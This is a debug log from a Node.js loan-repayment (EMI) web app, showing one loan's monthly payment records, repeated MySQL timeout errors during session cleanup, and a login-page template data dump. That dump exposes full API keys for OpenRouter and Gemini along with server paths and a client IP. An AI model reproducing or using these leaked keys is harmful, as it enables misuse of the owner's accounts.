    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-19T06:47:31.827Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 0
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-03-19T09:29:53.841Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-19T09:29:53.843Z server-connect:app Executing action step identify
2026-03-19T09:29:53.843Z server-connect:app options: { provider: 'security' }
2026-03-19T09:29:53.843Z server-connect:output identity: 1
2026-03-19T09:29:53.843Z server-connect:app Executing action step restrict
2026-03-19T09:29:53.843Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-19T09:29:53.849Z server-connect:output restrict: undefined
2026-03-19T09:29:53.849Z server-connect:app Executing action step select
2026-03-19T09:29:53.849Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-19T09:29:53.851Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 0
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-19 12:26:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-19 12:26:23' as DATETIME)"
}
2026-03-19T18:44:21.950Z server-connect:router Serving templateView /
2026-03-19T18:44:21.952Z server-connect:app Executing action step identify
2026-03-19T18:44:21.952Z server-connect:app options: { provider: 'security' }
2026-03-19T18:44:21.952Z server-connect:auth No login cookie found
2026-03-19T18:44:21.952Z server-connect:output identity: false
2026-03-19T18:44:21.952Z server-connect:app Executing action step restrict
2026-03-19T18:44:21.952Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-19T18:44:21.953Z server-connect:output restrict: undefined
2026-03-19T18:44:22.054Z server-connect:router Serving templateView /login
2026-03-19T18:44:22.054Z server-connect:app Executing action step identify
2026-03-19T18:44:22.054Z server-connect:app options: { provider: 'security' }
2026-03-19T18:44:22.054Z server-connect:auth No login cookie found
2026-03-19T18:44:22.054Z server-connect:output identity: false
2026-03-19T18:44:22.054Z server-connect:router Render template layouts/authentication
2026-03-19T18:44:22.054Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '52.200.222.178',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-20T18:44:22.053Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.200.222.178',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '52.200.222.178',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-19 19:13:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-19 19:13:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-19 21:26:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-19 21:26:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-19 21:30:25' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-19 21:30:25' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 00:07:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 00:07:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 00:55:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 00:55:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 01:34:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-20 01:34:26' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-20 03:40:26' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
